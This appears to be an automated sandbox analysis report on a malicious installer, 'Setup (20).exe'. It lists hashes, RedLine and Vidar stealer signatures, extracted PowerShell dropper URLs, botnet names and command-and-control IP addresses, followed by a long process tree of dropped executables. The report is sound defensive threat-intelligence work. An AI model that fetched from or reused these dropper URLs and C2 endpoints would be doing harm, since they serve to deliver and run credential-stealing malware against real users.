Resubmissions
15-10-2024 15:36
241015-s1zlzasdkc 1001-07-2024 18:32
240701-w6yteawhmq 1001-07-2024 14:52
240701-r82wmaxdnd 1001-07-2024 14:52
240701-r8syqa1dpp 1011-03-2024 21:22
240311-z8dsssgg58 1001-09-2021 13:18
210901-5bmxjspa5s 1001-09-2021 13:04
210901-te4btfspqa 1001-09-2021 05:12
210901-4wnkwm1p3j 1031-08-2021 21:47
210831-41rp97dma2 1031-08-2021 19:51
210831-359awwatje 10Analysis
-
max time kernel
93s -
max time network
1817s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
01-09-2021 13:18
General
-
Target
Setup (20).exe
-
Size
631KB
-
MD5
cb927513ff8ebff4dd52a47f7e42f934
-
SHA1
0de47c02a8adc4940a6c18621b4e4a619641d029
-
SHA256
fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f
-
SHA512
988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
exe.dropper
https://ia601409.us.archive.org/7/items/fixmix_fix_4348843584358435/fixmix_fix_4348843584358435.txt
Extracted
Language
ps1
Deobfuscated
URLs
exe.dropper
https://kmsauto.us/1/fix.txt
Extracted
Family
redline
Botnet
bratanchikAYE
C2
45.14.49.232:63850
Extracted
Family
redline
Botnet
1
C2
37.0.8.88:44263
Extracted
Family
redline
Botnet
NORMAN2
C2
45.14.49.184:27587
Extracted
Family
redline
Botnet
spnewportspectr
C2
135.148.139.222:1594
Signatures
-
Modifies Windows Defender Real-time Protection settings 3 TTPs
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 39 IoCs
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 3 IoCs
-
Downloads MZ/PE file
-
Executes dropped EXE 25 IoCs
-
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Themida packer 6 IoCs
Detects Themida, an advanced Windows software protection system.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 2 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 12 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
-
Drops file in Program Files directory 5 IoCs
-
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 58 IoCs
-
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 1 IoCs
-
Kills process with taskkill 6 IoCs
-
Script User-Agent 3 IoCs
Uses user-agent string associated with script host/environment.
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Setup (20).exe"C:\Users\Admin\AppData\Local\Temp\Setup (20).exe"1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Documents\aAIj2BNs61ZEakTS3OMrmzaD.exe"C:\Users\Admin\Documents\aAIj2BNs61ZEakTS3OMrmzaD.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\5428036.exe"C:\Users\Admin\AppData\Roaming\5428036.exe"3⤵
-
-
C:\Users\Admin\AppData\Roaming\6878472.exe"C:\Users\Admin\AppData\Roaming\6878472.exe"3⤵
-
-
C:\Users\Admin\AppData\Roaming\4732089.exe"C:\Users\Admin\AppData\Roaming\4732089.exe"3⤵
-
-
C:\Users\Admin\AppData\Roaming\6852056.exe"C:\Users\Admin\AppData\Roaming\6852056.exe"3⤵
-
-
C:\Users\Admin\AppData\Roaming\2141206.exe"C:\Users\Admin\AppData\Roaming\2141206.exe"3⤵
-
-
-
C:\Users\Admin\Documents\WnauEMimB3dId2c79mjkY0kW.exe"C:\Users\Admin\Documents\WnauEMimB3dId2c79mjkY0kW.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Documents\MHDeWzGNVHjRYE0nP4xwXFMg.exe"C:\Users\Admin\Documents\MHDeWzGNVHjRYE0nP4xwXFMg.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe"C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3504 -s 244⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5668 -s 244⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9612 -s 244⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10276 -s 244⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5544 -s 244⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 18800 -s 244⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
